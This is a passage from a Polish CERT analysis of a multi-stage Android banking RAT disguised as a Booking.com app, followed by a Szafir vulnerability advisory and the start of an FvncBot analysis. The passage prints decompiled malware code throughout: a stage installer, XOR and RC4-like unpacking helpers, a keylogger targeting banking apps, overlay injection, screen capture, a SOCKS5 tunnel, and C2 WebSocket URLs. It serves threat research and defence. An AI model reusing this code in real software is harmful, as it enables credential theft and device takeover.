        String strF0a0cac5c_11 = m0a0cac5c.F0a0cac5c_11("Z@2674747727782B7D2C7A7B7C7D2E338287338336888D38893A3F923C418E934194469A499D9E484D9F999AA4A0A1A0A055AAA7A8A95B59ACAE5DACB462AD5FB7");
        bArr[i / 2] = (byte) (Character.digit(strF0a0cac5c_11.charAt(i + 1), 16) + (Character.digit(strF0a0cac5c_11.charAt(i), 16) << 4));
    }
    return bArr;
}

Odzyskany klucz hex:

f324c3e6d1111ae37b1c48b2bf8ae15b4e8f99bf70094421e9555fc56d29f0a8

Aby zweryfikować ścieżkę rozpakowywania etapu 2 niezależnie od działania aplikacji, przygotowaliśmy również minimalny helper stosujący odzyskany 32-bajtowy klucz XOR do init_bundle_uzge.bin:

from pathlib import Path

src = root / "apktool" / "res" / "raw" / "init_bundle_uzge.bin"
dst = root / "artifacts" / "init_bundle_uzge.dec"

KEY_HEX = "f324c3e6d1111ae37b1c48b2bf8ae15b4e8f99bf70094421e9555fc56d29f0a8"
key = bytes.fromhex(KEY_HEX)
data = src.read_bytes()
out = bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
dst.write_bytes(out)

Uruchomienie tego helpera daje drugi etap w postaci pliku APK, który można dalej rozpakować i zdekompilować:

python3 decrypt_bundle.py

Odszyfrowany wynik jest następnie zapisywany do sesji PackageInstaller:

byte[] bArrP = ig.p(vsVar.a, i, ig.F());
Context context = vsVar.a;
Context context2 = vsVar.a;
PackageInstaller packageInstaller = context.getPackageManager().getPackageInstaller();
int iCreateSession = packageInstaller.createSession(new PackageInstaller.SessionParams(1));
PackageInstaller.Session sessionOpenSession = packageInstaller.openSession(iCreateSession);
String strF0a0cac5c_113 = m0a0cac5c.F0a0cac5c_11("P'44494C0C5B57515B4A4E525358575458565154681D6458626F5B6F247F8587819889938D9288979595");
String str = this.c;
OutputStream outputStreamOpenWrite = sessionOpenSession.openWrite(m0a0cac5c.F0a0cac5c_11("A{0B1B1A131E2124"), 0L, bArrP.length);
outputStreamOpenWrite.write(bArrP);
sessionOpenSession.fsync(outputStreamOpenWrite);
outputStreamOpenWrite.close();
Intent intent = new Intent(context2, (Class<?>) AppTaskLoaderdu2.class);
intent.setAction(strF0a0cac5c_113);
intent.putExtra(m0a0cac5c.F0a0cac5c_11("\\|0C1E211A21201F2A1A261B24"), str);
sessionOpenSession.commit(PendingIntent.getBroadcast(context2, iCreateSession, intent, f30.s()).getIntentSender());

Analiza potwierdziła, że zewnętrzny APK odszyfrowuje i instaluje drugi plik APK:

pakiet: io.cifnzm.utility67pu
etykieta: Google Play Services

Zewnętrzny etap raportuje również przebieg instalacji na odszyfrowany adres raportujący. W analizowanej próbce adres ten nie jest zapisany w postaci jawnego tekstu. Zostaje zainicjalizowany w ad.a przez natywny dekoder oparty na JNI, a następnie przekazany przez JuwekinManager89k.report() jako reportUrl, które ostatecznie trafia do wywołania new URL(this.reportUrl).openConnection(). Odszyfrowaną wartością jest https://aplication.digital/receiving/stats/:

HttpURLConnection httpURLConnection2 = (HttpURLConnection) new URL(this.reportUrl).openConnection();
httpURLConnection2.setRequestMethod(m0a0cac5c.F0a0cac5c_11("R[0B150A12"));
httpURLConnection2.setDoOutput(true);
httpURLConnection2.setDoInput(true);
httpURLConnection2.setUseCaches(false);
httpURLConnection2.setRequestProperty(m0a0cac5c.F0a0cac5c_11("<g24090B16060E19513B27210D"), m0a0cac5c.F0a0cac5c_11("9(49595A4745504F63495050124E68555523195D535D6F7164742E97978A222E"));
httpURLConnection2.setRequestProperty(m0a0cac5c.F0a0cac5c_11("aW163536352B28"), m0a0cac5c.F0a0cac5c_11("~R332324413F36392D43464688442E4B4B"));
httpURLConnection2.setConnectTimeout(10000);
httpURLConnection2.setReadTimeout(10000);

String strQefh = MainContentProcessorjjy.qefh(new byte[]{82, 36, 90, -111, -19, -77, 69, -118, -17, -66, -99, 5, -32, 79, -51}, new byte[]{59, 73, 42, -3, -116, -35, 49, -43, -97, -33, -2, 110, -127, 40, -88});
String str = zc.a;
jSONObject.put(strQefh, zc.a);
jSONObject.put(MainContentProcessorjjy.qefh(new byte[]{16, -121, 17, 82, 113, -109, 124, -41, 104, 75}, new byte[]{117, -15, 116, 60, 5, -52, 8, -82, 24, 46}), this.eventType);
jSONObject.put(m0a0cac5c.F0a0cac5c_11("qU213D3A332A263A3F2D"), System.currentTimeMillis() / ((long) 1000));

Odzyskane nazwy zdarzeń obejmują m.in.:

dropper_opened
install_started
install_completed
install_failed
implant_launched

Manifest etapu 2

Po rozpakowaniu widać, że io.cifnzm.utility67pu udostępnia już komponenty związane z ułatwieniami dostępu, SMS-ami, uprawnieniami administratora, przechwytywaniem ekranu i kamerą. Jeszcze zanim zostanie rozpakowany ukryty etap FH.svg, manifest drugiego etapu wygląda jednoznacznie złośliwie:

<service
    android:name="io.cifnzm.utility67pu.appcontainer.servicehandles.TscTscbltService"
    android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
    android:exported="true"
    android:foregroundServiceType="specialUse|connectedDevice|dataSync">
    <intent-filter>
        <action android:name="android.accessibilityservice.AccessibilityService"/>
    </intent-filter>
    <meta-data
        android:name="android.accessibilityservice"
        android:resource="@xml/accessibility_service_config"/>
</service>
<service
    android:name="io.cifnzm.utility67pu.appcontainer.servicehandles.SmsCollectionService"

<receiver
    android:name="io.cifnzm.utility67pu.appcontainer.rcv4.SmsReceivedReceiver"
    android:permission="android.permission.BROADCAST_SMS"
    android:enabled="true"
    android:exported="true">
    <intent-filter android:priority="999">
        <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
    </intent-filter>
</receiver>
<receiver
    android:name="io.cifnzm.utility67pu.appcontainer.permissions.DeviceAdminReceiver"
    android:permission="android.permission.BIND_DEVICE_ADMIN"
    android:exported="true">

<activity
    android:name="io.cifnzm.utility67pu.appcontainer.ScreenCaptureRequestActivity"
    android:exported="false"/>
<service
    android:name="io.cifnzm.utility67pu.appcontainer.ScreenSharingService"
    android:enabled="true"
    android:exported="false"
    android:foregroundServiceType="mediaProjection"/>
<service
    android:name="io.cifnzm.utility67pu.appcontainer.VncScreenSharingService"
    android:enabled="true"
    android:exported="false"
    android:foregroundServiceType="specialUse"/>
<service
    android:name="io.cifnzm.utility67pu.appcontainer.CameraService"
    android:enabled="true"
    android:exported="false"
    android:foregroundServiceType="camera"/>

Oznacza to, że etap 2 zawiera już strukturalne komponenty modułu złośliwego oprogramowania, a nie nieszkodliwy moduł aktualizacyjny.

Etap 3: ukryty payload FH.svg i rozpakowanie z użyciem algorytmu przypominającego RC4

Najważniejsze rzecz znaleziona podczas analizy polega na tym, że zainstalowany io.cifnzm.utility67pu nadal nie jest finalnym etapem. Jego klasa Application, Cgridthey, wydobywa kolejny ukryty zasób FH.svg i odszyfrowuje go przed uruchomieniem właściwego payloadu.

Kluczowe stałe etapu 3 są widoczne bezpośrednio w kodzie:

public String k = "shrimp";
public String l = "FH.svg";
public String B = "mLYQ";

Procedura deszyfrowania w Cgridthey ma charakter podobny do RC4:

byte[] bytes = this.B.getBytes();
int i7 = this.q;
this.x = 562336 * i7 * this.x;
int i8 = this.p;
int i9 = (951570 * i8) - this.z;
this.x = i9;
int i10 = this.m;
int i11 = this.n;
this.z = (((i10 - 794100) + 794022) - i11) - i11;
int i12 = i9 * 369750 * i8;
this.n = i12;
int i13 = this.w;
this.x = i8 - (436916 * i13);
int i14 = this.i;
int i15 = 120857 * i14 * 743786 * i13;
this.z = i15;
int i16 = i13 * 710192 * 434037 * i14 * i15;
this.z = i16;
int[] iArr = new int[256];
this.q = ((i16 * 918003) * 69410) - (i7 * i10);
this.i = (((i12 - 155490) - 145146) - i10) - i14;
for (int i17 = 0; i17 < 256; i17++) {
    iArr[i17] = i17;
}
int i18 = this.i;
int i19 = this.q;
int i20 = this.z;
int i21 = ((586797 * i18) * 967789) - (i19 * i20);
this.p = i21;
this.p = ((i20 - 1844839965) + i21) - i18;
int i22 = 0;
for (int i23 = 0; i23 < 256; i23++) {
i22 = (((i22 + iArr[i23]) + bytes[i23 % bytes.length]) + 256) % 256;
g(i23, i22, iArr);
}

for (int i40 = 0; i40 < bArr.length; i40++) {
    int i41 = this.m;
    int i42 = this.p;
    this.n = 217123 + i41 + 885800 + i42 + i41;
    int i43 = this.x;
    int i44 = 574525 + i43 + this.w;
    this.w = i44;
    int i45 = this.z;
    int i46 = ((959253 * i45) - 998332) - (this.q * i43);
    this.q = i46;
    int i47 = (this.s + 1) % 256;
    this.s = i47;
    if (i46 == 954692) {
        this.m = 497340 + i44 + i45;
        this.x = i42 + 443791 + 265205 + i44;
        this.p = (134507 * i45) - i45;
        this.z = (i44 * 349505) + i45 + 766441;
    } else if (i46 == 875409) {
        this.m = (i42 - 717300) - this.i;
        this.n = i42 + 998010 + i44;
    } else {
        this.m = (i44 + 278880) - (i46 * 681527);
        this.z = (i42 * 240077) + 746338 + i43;
        this.q = this.i + 679593 + i43;
    }
    int i48 = this.t;
    int[] iArr2 = this.u;
    int i49 = (i48 + iArr2[i47]) % 256;
    this.t = i49;
    int i50 = this.i;
    int i51 = (531245 * i50) + (280568 * i50);
    this.z = i51;
    int i52 = (((this.n - 50200) - 500209) + this.q) - i51;
    this.n = i52;
    this.p = (i52 * i50) + ((814031 * i50) - 90657);
    g(i47, i49, iArr2);
    int[] iArr3 = this.u;
    bArr2[i40] = (byte) (iArr3[(iArr3[this.s] + iArr3[this.t]) % 256] ^ bArr[i40]);
}

Po deszyfrowaniu wynik jest traktowany jako archiwum i wstrzykiwany do aktywnego class loadera:

File dir = context.getDir(this.k, 0);
String absolutePath2 = new File(absolutePath, this.l).getAbsolutePath();
File file = new File(absolutePath, this.l);
boolean zD = d(absolutePath2, context);

Gdy d(absolutePath2, context) zwraca sukces, zasób jest dodawany do ArrayList i ładowany przez:

arrayList.add(file);
a.d(this.j.getClassLoader(), dir, arrayList);

Następnie wykonanie zostaje przekazane do prawdziwej finalnej aplikacji:

e("io.cifnzm.utility67pu.appcontainer.MainApplication");

Odszyfrowanie FH.svg odzyskuje rzeczywiste ukryte pliki dex. To właśnie ten etap zawiera właściwą logikę RAT-a.

Aby pokazać reprodukowalność tego etapu, odwzorowaliśmy logikę w osobnym helperze i zastosowaliśmy ją bezpośrednio do ukrytego zasobu:

def rc4(data: bytes, key: bytes) -> bytes:
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + key[i % len(key)]) % 256
        s[i], s[j] = s[j], s[i]
    out = bytearray()
    i = 0
    j = 0
    for b in data:
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        s[i], s[j] = s[j], s[i]
        out.append(b ^ s[(s[i] + s[j]) % 256])
    return bytes(out)

plain = rc4(asset.read_bytes(), b"mLYQ")

python3 unpack_stage3.py

Wynikiem jest FH.svg.rc4.dec, czyli archiwum ZIP zawierające finalną ukrytą parę dex:

classes.dex
classes2.dex

Uruchomienie końcowego modułu

Nawet na tym etapie aplikacja nadal prezentuje ofierze tę samą widoczną fałszywą strone opartą na motywie Booking.com (używając webview):

public static final String APP_NAME = "Google Play Services";
public static final String BASE_URL = "https://booking.interaction.lat/update/";

jednak jej MainApplication zachowuje się już jak trwały moduł złośliwego oprogramowania:

DualWebSocketProvider.INSTANCE.initialize(mainApplication, true);
DynamicIntentReceiver.INSTANCE.register(mainApplication);
mainApplication.startPersistentServices();
mainApplication.ensureUninstallProtectionReady();
mainApplication.initializeNotificationPersistence();
mainApplication.startServiceHealthMonitoring();
mainApplication.initializeAlarmPersistence();
mainApplication.initializeWebSocketHealthMonitoring();
mainApplication.initializePermissionLossProtection();

W praktyce ważne są tu dwie rzeczy:

malware od razu uruchamia długotrwałe usługi,
jawnie inicjalizuje ochronę przed odinstalowaniem, mechanizmy monitorowania stanu, persystencję alarmów i logikę odzyskiwania WebSocket.

To nie wygląda jak zachowanie prostego modułu pobierającego. To logika inicjalizacji właściwego modułu RAT-a.

Finalne C2: rozdzielona architektura WebSocket control/data

Finalny etap hardkoduje pojedynczy host backendu, a następnie buduje z niego dwa niezależne kanały WebSocket:

private static final List<String> SERVER_HOSTS = CollectionsKt.listOf("otptrade.world");
private static String BUILD_TAG = "pulse_1";
private static final Set<String> CONTROL_MESSAGE_TYPES = SetsKt.setOf((Object[]) new String[]{"ping", "pong", "androidHandshake", "viewerHandshake", "command", "gesture", "viewerControl", "disableUninstallProtection", "enableUninstallProtection", "getKeylogs", "clearKeylogs", "getInstalledApps", "getDeviceState", "getKeyguardInfo", "switchClient", "requestClientList", "identification", "command_response", "vnc_screen_sharing_started", "vnc_screen_sharing_stopped", "vnc_screen_sharing_error", "vnc_screen_sharing_status", "websocket_health_report", "health_ping", "health_send_test", "websocket_recovery_report", "websocket_recovery_status", "permission_granted_notification", "permission_status_report", "accessibility_service_status", "socks5_enable", "socks5_status_request"});
private static final Set<String> DATA_MESSAGE_TYPES = SetsKt.setOf((Object[]) new String[]{"screenUpdate", "screenLayout", "screenFrame", "vncScreenFrame", "keylog_batch", "camera_frame", "camera_system_ready", "camera_command_response", "camera_status", "camera_status_response", "camera_error", "camera_unexpected_stop", "sms_batch", "sms_entry", "sms_status_update", "sms_detailed_status", "sms_permission_status", "sms_permission_error", "sms_command_response", "service_status", "power_mode_status", "power_status_response", "system_status", "enhanced_system_health", "installed_apps_response", "crash_report", "secure_app_click", "screen_state", "pattern_lock_completed", "pattern_lock_cancelled", "pattern_lock_triggered", "pattern_lock_test_triggered", "pattern_lock_status", "html_injection_triggered", "html_injection_displayed", "html_injection_dismissed", "html_injection_error", "html_injection_test_triggered", "html_templates_available", "html_injection_attempt_success", "html_injection_attempt_failed", "html_data_captured", "socks5_status", "socks5_tunnel_connected", "socks5_tunnel_disconnected"});

Adresy URL są konstruowane następująco:

private final String buildControlUrl(boolean useSSL) {
    return (useSSL ? "wss" : "ws") + "://" + ((String) CollectionsKt.first(DualWebSocketManager.SERVER_HOSTS)) + ":8443/control?" + ("sessionId=" + DualWebSocketManager.this.sessionId);
}

private final String buildDataUrl(boolean useSSL) {
    return (useSSL ? "wss" : "ws") + "://" + ((String) CollectionsKt.first(DualWebSocketManager.SERVER_HOSTS)) + ":8444/data?" + ("sessionId=" + DualWebSocketManager.this.sessionId);
}

Kod klienta dodaje też identyfikujące nagłówki:

return chain.proceed(chain.request().newBuilder().header("User-Agent", "AndroidClient-Control/1.0").header("X-Channel-Type", "control").header("X-Session-ID", this.this$0.sessionId).header("X-Device-ID", this.this$0.deviceId).build());

return chain.proceed(chain.request().newBuilder().header("User-Agent", "AndroidClient-Data/1.0").header("X-Channel-Type", "data").header("X-Session-ID", this.this$0.sessionId).header("X-Device-ID", this.this$0.deviceId).build());

i celowo osłabia weryfikację TLS:

private static final boolean applyC2SslTrust$lambda$24(String str, SSLSession sSLSession) {
    return true;
}

Odzyskane finalne endpointy:

wss://otptrade.world:8443/control?sessionId=<uuid>
wss://otptrade.world:8444/data?sessionId=<uuid>

Podział na control/data ma znaczenie, ponieważ tłumaczy szeroki zestaw możliwości tego modułu: polecenia są dostarczane osobnym kanałem niż dane o dużej objętości, takie jak keylogi, telemetria HTML injection czy kolejne klatki ekranu.

Co robi finalny payload

Odzyskany kod źródłowy etapu 3 pokazuje, że mamy do czynienia z rozbudowanym RAT-em wykorzystującym usługi ułatwień dostępu do sterowania urządzeniem.

Keylogging i przechwytywanie blokady ekranu

Keylogger jest inicjalizowany z listą wysokowartościowych kategorii pakietów:

private final Set<String> criticalPackages = SetsKt.setOf((Object[]) new String[]{"systemui", "settings", "bank", "pay", "wallet", "crypto", "binance", "coinbase", "whatsapp", "telegram", "messenger"});
private String currentPasswordFieldText = "";
private String currentPasswordFieldPackage = "";
private String currentPasswordFieldViewId = "";
private final long PASSWORD_FIELD_TIMEOUT = WorkRequest.DEFAULT_BACKOFF_DELAY_MILLIS;
private final CoroutineScope coroutineScope = CoroutineScopeKt.CoroutineScope(Dispatchers.getDefault().plus(SupervisorKt.SupervisorJob$default((Job) null, 1, (Object) null)));
private final ConcurrentHashMap<String, String> mainThreadCaptures = new ConcurrentHashMap<>();
private final int maxMainThreadCacheSize = 10;
private ExtractionStats extractionStats = new ExtractionStats(0, 0, 0, 0, 15, null);

public KeyloggerHandler(Context context, Executor executor, LogDispatcher logDispatcher) {
    this.context = context;
    this.backgroundExecutor = executor;
    this.logDispatcher = logDispatcher;
    Log.i(TAG, "KEYLOGGER DEBUG: KeyloggerHandler created and initialized");
    queueLog$default(this, "KEYLOGGER_INIT", BuildConfig.APPLICATION_ID, TAG, "Keylogger initialized successfully", "Initialization test log", null, null, null, System.currentTimeMillis(), true, 224, null);
}

Dodatkowo przechwytywane są bezpośrednio zdarzenia klawiatury:

public final void handleKeyEvent(KeyEvent event) {
    if (event.getAction() == 0) {
        int keyCode = event.getKeyCode();
        queueLog$default(this, "KEY_PRESS_LOCKSCREEN", "com.android.systemui", "LockScreen", "Key: " + KeyEvent.keyCodeToString(keyCode) + ", Char: '" + ((char) event.getUnicodeChar()) + '\'', "Key event captured", null, null, MapsKt.mapOf(TuplesKt.to("keyCode", String.valueOf(keyCode))), System.currentTimeMillis(), true, 96, null);
    }
}

W połączeniu z obecnością PatternLockActivity, PINLockActivity i PasswordLockActivity oznacza to, że malware jest przygotowany do przechwytywania loginów i haseł, a nie tylko metadanych interfejsu.

HTML injection / overlay phishing

Finalny etap zawiera dedykowany manager HTML injection:

public final boolean triggerInjection(String packageName, String condition) {
    if (!shouldInjectForPackage(packageName, condition)) {
        Log.d(TAG, "Injection blocked or not configured for package: " + packageName);
        return false;
    }
    InjectionConfig injectionConfig = this.injectionConfigs.get(packageName);
    Intrinsics.checkNotNull(injectionConfig);
    InjectionConfig injectionConfig2 = injectionConfig;
    ConcurrentHashMap<String, TemplateInfo> concurrentHashMap = this.availableTemplates;
    String lowerCase = injectionConfig2.getTemplateId().toLowerCase(Locale.ROOT);
    Intrinsics.checkNotNullExpressionValue(lowerCase, "toLowerCase(...)");
    TemplateInfo templateInfo = concurrentHashMap.get(lowerCase);
    if (templateInfo == null) {
        Log.w(TAG, "Template not found for injection: " + injectionConfig2.getTemplateId());
        sendInjectionErrorToC2(packageName, injectionConfig2.getTemplateId(), "Template not found");
        return false;
    }
    Log.i(TAG, "Triggering HTML injection: " + templateInfo.getDisplayName() + " for " + packageName);
    try {
        Intent intent = new Intent(this.context, (Class<?>) HtmlOverlayActivity.class);
        intent.addFlags(268500992);
        intent.putExtra(HtmlOverlayActivity.EXTRA_TEMPLATE_ID, templateInfo.getId());
        intent.putExtra(HtmlOverlayActivity.EXTRA_PACKAGE_NAME, packageName);
        intent.putExtra(HtmlOverlayActivity.EXTRA_PRIORITY, injectionConfig2.getPriority());
        this.context.startActivity(intent);
        recordInjection(packageName, templateInfo.getId(), condition);
        sendInjectionNotificationToC2(packageName, templateInfo.getId(), condition);
        return true;
    } catch (Exception e) {
        Log.e(TAG, "Failed to start HTML overlay activity", e);
        sendInjectionErrorToC2(packageName, injectionConfig2.getTemplateId(), "Failed to start overlay: " + e.getMessage());
        return false;
    }
}

Do serwera C2 raportowana jest zarówno lista dostępnych szablonów, jak i same zdarzenia związane z wstrzyknięciem:

JSONObject jSONObject = new JSONObject();
jSONObject.put("type", "html_templates_available");
jSONObject.put("timestamp", System.currentTimeMillis());
JSONObject jSONObject2 = new JSONObject();
jSONObject2.put("template_count", this.availableTemplates.size());
jSONObject2.put("scan_time", this.lastScanTime);

jSONObject.put("type", "html_injection_triggered");

Kod jednoznacznie potwierdza obecność mechanizmów web inject oraz nakładek ekranowych, a nie jedynie pojedynczy, statycznie zaszyty ekran phishingowy.

Strumieniowanie ekranu

Moduł żąda uprawnienia do MediaProjection i po jego uzyskaniu uruchamia udostępnianie ekranu:

private final void requestScreenCapturePermission() throws JSONException {
    Object systemService = getSystemService("media_projection");
    Intrinsics.checkNotNull(systemService, "null cannot be cast to non-null type android.media.projection.MediaProjectionManager");
    try {
        startActivityForResult(((MediaProjectionManager) systemService).createScreenCaptureIntent(), this.REQUEST_CODE);
    } catch (Exception e) {
        Log.e(this.TAG, "Failed to launch screen capture intent", e);
        sendErrorResponse("Failed to launch screen capture intent: " + e.getMessage());
        finish();
    }
}

if (resultCode == -1 && data != null) {
    Log.i(this.TAG, "Screen capture permission granted.");
    try {
        startForegroundService(createServiceIntent(resultCode, data));
        JSONObject jSONObject = new JSONObject();
        jSONObject.put("type", "command_response");
        jSONObject.put("command", "startScreenSharing");
        jSONObject.put("success", true);
        jSONObject.put("quality", this.quality);
        jSONObject.put("frameRate", this.frameRate);
        jSONObject.put("streamWidth", this.streamWidth);
        jSONObject.put("overlayDetection", true);
        DualWebSocketProvider.sendMessage$default(DualWebSocketProvider.INSTANCE, jSONObject, null, 2, null);
    } catch (Exception e) {
        Log.e(this.TAG, "Failed to start screen sharing service", e);
        sendErrorResponse("Failed to start screen sharing service: " + e.getMessage());
    }
}

Protokół definiuje również:

screenFrame
vncScreenFrame
screenLayout
screenUpdate

co odpowiada zarówno bezpośredniemu strumieniowaniu obrazu z ekranu, jak i pozyskiwaniu informacji o układzie oraz strukturze interfejsu.

Tunel SOCKS5

Moduł złośliwego oprogramowania udostępnia również tunel SOCKS5 sterowany za pośrednictwem infrastruktury C2:

this.config = config;
this.isEnabled.set(true);
this.shouldReconnect.set(true);
Log.i(TAG, "Enabling SOCKS5 tunnel to " + config.getRelayHost() + ':' + config.getRelayPort());
connect();

String strBuildTunnelUrl = socks5Config.buildTunnelUrl();
Log.i(TAG, "Connecting to relay: " + strBuildTunnelUrl);
this.webSocket = buildOkHttpClient(socks5Config.getUseTls()).newWebSocket(new Request.Builder().url(strBuildTunnelUrl).header("X-Device-ID", getDeviceId()).header("Authorization", "Bearer " + socks5Config.getAuthToken()).build(), new WebSocketListener() {

i identyfikuje się wobec przekaźnika handshake'iem zawierającym metadane urządzenia:

JSONObject jSONObject = new JSONObject();
jSONObject.put("type", "socks5Handshake");
JSONObject jSONObject2 = new JSONObject();
jSONObject2.put("device_id", getDeviceId());
jSONObject2.put("model", Build.MODEL);
jSONObject2.put("android_version", Build.VERSION.RELEASE);
jSONObject2.put("manufacturer", Build.MANUFACTURER);

Wyraźnie wskazuje to, że malware został zaprojektowany nie tylko do kradzieży danych, ale również do zdalnego dostępu oraz przekazywania ruchu sieciowego.

Podsumowanie

Analizowana próbka nie jest jedynie fałszywą aplikacją Booking Pulse ani prostym downloaderem. Nasza analiza pozwoliła odtworzyć pełny łańcuch infekcji, od phishingowej wiadomości po końcowy etap działania malware.

Pełna ścieżka techniczna wygląda następująco:

wiadomość phishingowa -> przekierowanie przez share.google/Yc9fcYQCgnKxNfRmH -> booking.interaction.lat/starting/ -> com.pulsebookmanager.helper -> przynęta WebView -> natywny loader l0a0cac5c.so -> natywny dekoder JNI i anti-analysis -> etap 2 odszyfrowany XOR-em jako APK io.cifnzm.utility67pu -> etap FH.svg odszyfrowany algorytmem RC4-like -> finalny RAT sterowany przez accessibility -> WebSocket C2 w otptrade.world

Finalny payload wspiera przechwytywanie poświadczeń, HTML injection, kradzież SMS-ów, strumieniowanie ekranu, użycie kamery, zdalną kontrolę urządzenia i przekaźnik SOCKS5. Innymi słowy, APK wykorzystujący motyw Booking.com stanowi jedynie widoczny punkt wejścia do znacznie bardziej rozbudowanego mechanizmu infekcji na Androidzie.

IOC

Początkowe przekierowanie phishingowe: https://share.google/Yc9fcYQCgnKxNfRmH
Strona phishingowa: https://booking.interaction.lat/starting/
Widoczna strona aktualizacji podszywająca się pod Booking: https://booking.interaction.lat/update/
Zewnętrzny APK: com.pulsebookmanager.helper (Pulse) SHA256: d408588683b4e66bfe0b5bb557999844fe52d1bfbda6836a48e15290082a5d42
Zrzucona biblioteka natywna: l0a0cac5c.so SHA256: f9c176f04b7c4061480c037abd2e6aebb4b9b056952a29585c8b448b8ec81a0e
Endpoint używany przez etap zewnętrzny: https://aplication.digital/receiving/stats/
Zaszyfrowany plik etapu 2: init_bundle_uzge.bin SHA256: c11685cb53e264a90cbc749d04740c639c4cfdee794ab98cf16ebd007ceded3b
Zainstalowany APK etapu 2: io.cifnzm.utility67pu (Google Play Services) SHA256: 0cf04d3a3a5a148f6f707cd2bc24b38179e0dc4252b4706f77a4d5498cf2c3e9
Ukryty zasób etapu 3: FH.svg
Odszyfrowane archiwum etapu 3: SHA256: 3243a74015df81c999e4d11124351519e5b0d9c99c03ccb12c207d9fa894a21e
Ukryty finalny classes.dex: SHA256: 4ad813a484038ad2a3e66121e276c969a1b78f9c0eca0d2acb296799ea128303
Ukryty finalny classes2.dex: SHA256: 12713e00658fdfa9a6466d23d934a709ef8b549449877e94981029ec2e22cbc9
Finalny host C2: otptrade.world
Kanał sterujący: wss://otptrade.world:8443/control?sessionId=<uuid>
Kanał danych: wss://otptrade.world:8444/data?sessionId=<uuid>

Podatności w oprogramowaniu Szafir

2026-04-02T11:55:00+01:00

Opis podatności

CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Szafir i koordynował proces ujawniania informacji.

Podatność CVE-2026-26927: Szafir SDK Web to wtyczka przeglądarkowa, która uruchamia aplikację SzafirHost. Podczas startu aplikacja pobiera niezbędne do działania pliki. W Szafir SDK Web można zmienić adres URL (HTTP Origin) lokalizacji wywołania aplikacji. Nieuwierzytelniony atakujący może stworzyć stronę internetową, która jest w stanie uruchomić aplikację SzafirHost z dowolnymi argumentami za pośrednictwem wtyczki przeglądarki Szafir SDK Web. Nie jest przeprowadzana żadna walidacja, aby sprawdzić, czy adres określony w parametrze document_base_url ma związek z rzeczywistym adresem wywołującej aplikację domeny. Adres URL określony w parametrze document_base_url jest następnie zawarty w oknie potwierdzenia wyświetlanym przez aplikację. Gdy ofiara potwierdzi uruchomienie aplikacji, zostanie ona wywołana w kontekście adresu URL strony internetowej atakującego i może pobrać dodatkowe pliki i biblioteki z tej strony. Jeśli ofiara wcześniej zaakceptowała uruchomienie aplikacji dla adresu URL wyświetlanego w oknie potwierdzenia z opcją "pamiętaj", okno potwierdzenia nie będzie wyświetlane, a aplikacja zostanie wywołana w kontekście adresu URL podanego przez atakującego bez żadnej interakcji ze strony ofiary.

Problem został naprawiony w wersji 0.0.17.4.

Podatność CVE-2026-26928: SzafirHost pobiera niezbędne pliki w kontekście wywołującej strony internetowej. Podczas wywoływania, SzafirHost aktualizuje swoją bibliotekę dynamiczną. Pliki JAR są poprawnie weryfikowane na podstawie listy zaufanych skrótów plików, a jeśli plik nie jest na tej liście, zostaje sprawdzone, czy plik został cyfrowo podpisany przez producenta. Aplikacja nie weryfikuje skrótu ani cyfrowego podpisu producenta dla przesyłanych plików DLL, SO, JNILIB lub DYLIB. Atakujący może dostarczyć złośliwy plik, który zostanie zapisany w katalogu /temp użytkownika i wykonany przez aplikację.

Problem został naprawiony w wersji 1.1.0.

Podziękowania

Za zgłoszenie podatności dziękujemy Michałowi Leszczyńskiemu.

Analiza kampanii FvncBot

2026-03-30T14:00:00+01:00

Zespół CERT Polska przeanalizował nowe próbki powiązane z kampanią FvncBot wymierzoną w polskich użytkowników internetu. Poniższy opis został oparty na wariancie kampanii wykorzystującej wizerunek Spółdzielczej Grupy Bankowej.

Podstawowe informacje

Omawiane próbki są hostowane pod adresem ruvofech.it[.]com. Sposób dystrybucji plików nie został jeszcze zidentyfikowany na moment tworzenia tej analizy.

Aplikacja opisana jako Token U2F Mobilna Ochrona SGB informuje użytkownika o konieczności instalacji dodatkowego Play Component, a następnie prowadzi go poprzez proces instalacji dodatkowego modułu opisanego jako Android V.28.11. Ofiara jest następnie nakłaniana do zezwolenia na uruchomienie funkcji ułatwień dostępu pod pretekstem uaktualnienia systemu (System Update). W kolejnym kroku wspomniany moduł rejestruje się na serwerze przestępców i wysyła informacje o zainfekowanym urządzeniu.

Przebieg infekcji

Z perspektywy ofiary ciąg wydarzeń odtworzony podczas dynamicznej analizy próbki wygląda następująco:

Użytkownik uruchamia aplikację wykorzystującą wizerunek SGB i na ekranie startowym widzi komunikat o konieczności instalacji Play Component oraz tekst nakłaniający go do uruchomienia procesu instalacji za pomocą guzika Install Component.

System Android przywołuje menu kontekstowe właściwe dla instalacji aplikacji z nieznanych źródeł (Install unknown apps). Użytkownik widzi informację o instalacji Android V.28.11. Po instalacji modułu, guzik "instalacji" zmienia się w "aktywację" (Activate). Wciśnięcie go powoduje wyświetlenie menu ustawień (Setup Required), które informuje użytkownika o konieczności wyrażenia zgody na uruchomienie funkcji ułatwień dostępu.

Po uruchomieniu usługi, aplikacja wyświetla komunikat All Systems Operational. Każda próbka w tej kampanii używa wizerunku innego banku.

Głównym motywem socjotechnicznym obserwowanej kampanii jest właśnie opisany wyżej podział - widoczna fasada z logotypem i szatą graficzną banku ma na celu zwabienie użytkownika w pułapkę, ale nie odpowiada za samo szkodliwe działanie. Tym zajmuje się zainstalowany za jej pomocą moduł, który ukrywa się za informacjami przypominającymi systemowe komunikaty Androida.

Co przyniosła analiza próbki?

Istnieje zewnętrzna paczka danych com.junk.knock, określana mianem Token U2F Mobilna Ochrona SGB.
W następnym kroku ładowany jest instalator z /data/user/0/com.junk.knock/app_tell/tWyWeG.txt używając DexClassLoader.
Załadowany instalator odpakowuje assets/apk/payload_grass.apk, czyli drugi moduł odpowiedzialny za główny element ataku.
Instalator korzysta z core://setup by przekierować ofiarę do kolejnego etapu infekcji.
Drugi etap jest spakowany pod com.core.town i określany jako Android V.28.11.
Plik APK com.core.town stanowi kolejną warstwę, która ukrywa dodatkowy wsad w zagnieżdżonym zasobie o nazwie qkcCg.jpg.
Ukryty zasób jest przekształcany za pomocą procesu podobnego do RC4 wprowadzanego przez sDjCM i przekształca się w finalną wersję modułu.
